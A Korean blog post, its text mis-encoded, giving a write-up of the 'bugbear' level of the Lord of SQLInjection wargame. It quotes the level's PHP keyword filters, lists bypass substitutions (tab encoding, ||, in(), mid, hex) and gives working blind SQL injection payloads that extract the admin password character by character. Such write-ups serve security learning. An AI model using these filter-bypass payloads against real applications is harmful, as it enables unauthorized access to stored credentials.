ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

CHALLENGE

[LOS] Bugbear ํ’€์ด(13)

๐ŸŒง: 2020. 12. 8.

13๋ฒˆ์งธ ๋ฌธ์ œ์ธ " bugbear "์ž…๋‹ˆ๋‹ค.  bugbear์˜ ๊ฒฝ์šฐ ๊ฒ€์ฆํ•˜๋Š” ํ‚ค์›Œ๋“œ๊ฐ€ ๋งŽ์ด ๋Š˜์–ด๋‚˜ ์šฐํšŒ ๊ตฌ๋ฌธ์„ ์‚ฌ์šฉํ•ด์„œ ์ฟผ๋ฆฌ๋ฌธ์„ ์ž‘์„ฑํ•ด์•ผ ๋ฉ๋‹ˆ๋‹ค.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

์ƒˆ๋กญ๊ฒŒ ๊ฒ€์ฆํ•˜๋Š” ํ•„ํ„ฐ๋ง์€ or ๊ตฌ๋ฌธ ๋Œ€์‹  ์‚ฌ์šฉ๋˜์—ˆ๋˜ " like " ๋ฅผ ๊ฒ€์ฆํ•˜๊ณ  hex ์ฝ”๋“œ ์‹คํ–‰ ๋ฐฉ์ง€๋ฅผ ์œ„ํ•ด "0x"๊นŒ์ง€ ๊ฒ€์ฆํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. 

 

๋˜ํ•œ " ascii " ์ฝ”๋“œ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ๊นŒ์ง€ ๋ง‰๊ณ  ์žˆ๊ธฐ์— " ord " ๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ํ–ˆ์œผ๋‚˜ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด์œ ๋Š” preg_match ํ•จ์ˆ˜์— ํฌํ•จ๋œ " or " ๋ฌธ์ž๋ฅผ ๊ฒ€์ฆํ•˜๊ธฐ ๋•Œ๋ฌธ์— " org "๋ฅผ ์‚ฌ์šฉํ•ด ascii ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์˜ค์ง€ ์•Š๊ณ  "hex"๋ฅผ ํ†ตํ•ด์„œ ๊ฐ€์ ธ์™€์•ผ ๋œ๋‹ค๋Š” ๊ฑธ ์•Œ์•˜์Šต๋‹ˆ๋‹ค.

๋ณดํ†ต ์ด๋Ÿฐ ์ƒํ™ฉ์—์„œ๋Š” ์‚ฌ์šฉํ•˜๊ณ ์žํ•˜๋Š” ํ‚ค์›Œ๋“œ๋ฅผ ํ•˜๋‚˜์”ฉ ์šฐํšŒ ๊ตฌ๋ฌธ์œผ๋กœ ๋ณ€๊ฒฝํ•ด๊ฐ€๋ฉด์„œ ์‘๋‹ต ๊ฐ’์„ ๋น„๊ตํ•ด๋ณด๋ฉด์„œ ํ•˜๋ฉด ์–ด๋Š ์ •๋„ ์ฟผ๋ฆฌ๋ฌธ์ด ์™„์„ฑ๋ฉ๋‹ˆ๋‹ค.

 

ํ•„ํ„ฐ๋ง ๊ตฌ๋ฌธ ์šฐํšŒ
๊ณต๋ฐฑ --> %09(TAB)
or  --> ||(ํŒŒ์ดํ”„ ์—ฐ์‚ฐ์ž)
= (like ๊ฒ€์ฆํ•˜๊ธฐ์— ๋‹ค๋ฅธ ๊ฑฐ ์‚ฌ์šฉ) --> in()
and --> &&(%26%26)
substr --> mid()
ascii(org ๊ฐ€ ๊ฑธ๋ฆฌ๊ธฐ์— ๋‹ค๋ฅธ ๊ฑฐ์‚ฌ์šฉ) --> hex()

 

$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET [pw]}'"; 
if(($result ['pw']) && ($result['pw'] == $_GET ['pw'])) solve("bugbear");

ํ•ด๋‹น ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด์„  " admin " ๊ณ„์ •์œผ๋กœ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ด์•ผ ํ•˜๋ฉฐ ์ ‘๊ทผ ํ•˜๊ธฐ ์œ„ํ•œ ์กฐ๊ฑด์€ ์ž…๋ ฅํ•œ ํŒจ์Šค์›Œ๋“œ์™€ db ๋‚ด์— ์ €์žฅ๋˜์–ด ์žˆ๋Š” ํŒจ์Šค์›Œ๋“œ ๊ฐ’์„ ๋น„๊ตํ•ด์„œ ์ผ์น˜ํ•ด์•ผ ๋˜๊ธฐ ๋•Œ๋ฌธ์— BSQLI ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•ด์„œ ์ •ํ™•ํ•œ ํŒจ์Šค์›Œ๋“œ ๊ฐ’์„ ์œ ์ถ”ํ•ด์•ผ ๋ฉ๋‹ˆ๋‹ค.

 

ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด ์œ ์ถ”

1%09||%09id%09in%09("admin")%09%26%26%09length(pw)%09in%09(5) -->FALSE
1%09||%09id%09in%09("admin")%09%26%26%09length(pw)%09in%09(8) -->TRUE

 

๊ณต๋ฐฑ์„ ๊ฒ€์ฆํ•˜๊ณ  ์žˆ์–ด์„œ ์ธ์ฝ”๋”ฉ์œผ๋กœ ์ฑ„์šฐ๋Š๋ผ ์กฐ๊ธˆ ๋ณต์žกํ•ด ๋ณด์ด์ง€๋งŒ ํ‚ค์›Œ๋“œ ํ•˜๋‚˜์”ฉ ํ—ˆ์šฉ๋˜๋Š” ๋ฌธ์ž์—ด๋กœ ๋ณ€๊ฒฝํ•ด ์ฃผ๋‹ค ๋ณด๋ฉด ์„ฑ๊ณต์ ์œผ๋กœ " Hello admin " ๊ตฌ๋ฌธ์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. 

 

์„ฑ๊ณตํ•œ ๊ตฌ๋ฌธ์— hex(mid() ๋ฅผ ์‚ฌ์šฉํ•ด์„œ ํ•˜๋‚˜์”ฉ ascii ๊ฐ’์„ ๋Œ€์ž…ํ•ด๋ณด๋ฉด 8์ž๋ฆฌ ๋ฌธ์ž ์—ด์ค‘ ์‚ฌ์šฉ๋œ ๊ฐ’์„ ํ•˜๋‚˜์”ฉ ์œ ์ถ”ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

32 ~ 47 : ํŠน์ˆ˜๋ฌธ์ž (space, !, ", #, $, %, & ๋“ฑ)
58 ~ 64 : ํŠน์ˆ˜๋ฌธ์ž (:, ;, <, =, >, ?, @)
123 ~ 126 : ํŠน์ˆ˜๋ฌธ์ž ({, |, }, ~)
48 ~ 57 : ์ˆซ์ž (0 ~ 9)
65 ~ 90 : ์˜์–ด(๋Œ€๋ฌธ์ž) (A ~ Z)
97 ~ 122  : ์˜์–ด(์†Œ๋ฌธ์ž) (a ~ z)

ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด ์œ ์ถ”

<์ˆซ์ž์ถ”์ถœ>

1%09||%09id%09in%09("admin")%09%26%26%09hex(mid(pw,1,1))%09in%09(hex(47~57))%23

<์†Œ๋ฌธ์ž ์ถ”์ถœ>

1%09||%09id%09in%09("admin")%09%26%26%09hex(mid(pw,1,1))%09in%09(hex(97~122))%23

 

๋„์ถœ๋œ ๊ฐ’ ๋ณต๊ตฌ

53 --> 5
50 --> 2
100 --> d
99 --> c
51 --> 3
57 --> 9
57 --> 9
49 --> 1

 

" ์ฐธ "์ธ ๊ฒฝ์šฐ ๋‚˜ํƒ€๋‚˜๋Š” " Hello admin "์„ ์ฐธ๊ณ ํ•˜์—ฌ ๋„์ถœ๋œ ํŒจ์Šค์›Œ๋“œ๋ฅผ ๋ณ€ํ™˜ํ•ด๋ณด๋ฉด ์„ฑ๊ณต์ ์œผ๋กœ clear ๊ฐ€ ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

 

์ด๋ฒˆ ๋ฌธ์ œ๋Š” ๊ฒ€์ฆํ•˜๋Š” ํ‚ค์›Œ๋“œ๊ฐ€ ํ™•์—ฐํ•˜๊ฒŒ ๋Š˜์–ด๋‚˜์„œ ์–ด๋Š ์ •๋„ ํ˜ผ๋ˆ์ด ์žˆ์—ˆ์ง€๋งŒ ์ฐจ๊ทผ์ฐจ๊ทผ ํ•ด๊ฒฐํ•ด๋ณด๋‹ˆ ํ•ด๋‹ต์ด ๋ณด์ด๊ธฐ ์‹œ์ž‘ํ–ˆ๋„ค์š”.

 

'CHALLENGE' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

XSS Challenges 6  (0) 2020.12.09
[LOS] Giant ํ’€์ด(14)  (0) 2020.12.08
[LOS] Darkknight ํ’€์ด(12)  (0) 2020.12.08
XSS Challenges 5-2  (0) 2020.12.08
XSS Challenges 5-1  (0) 2020.12.07
๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment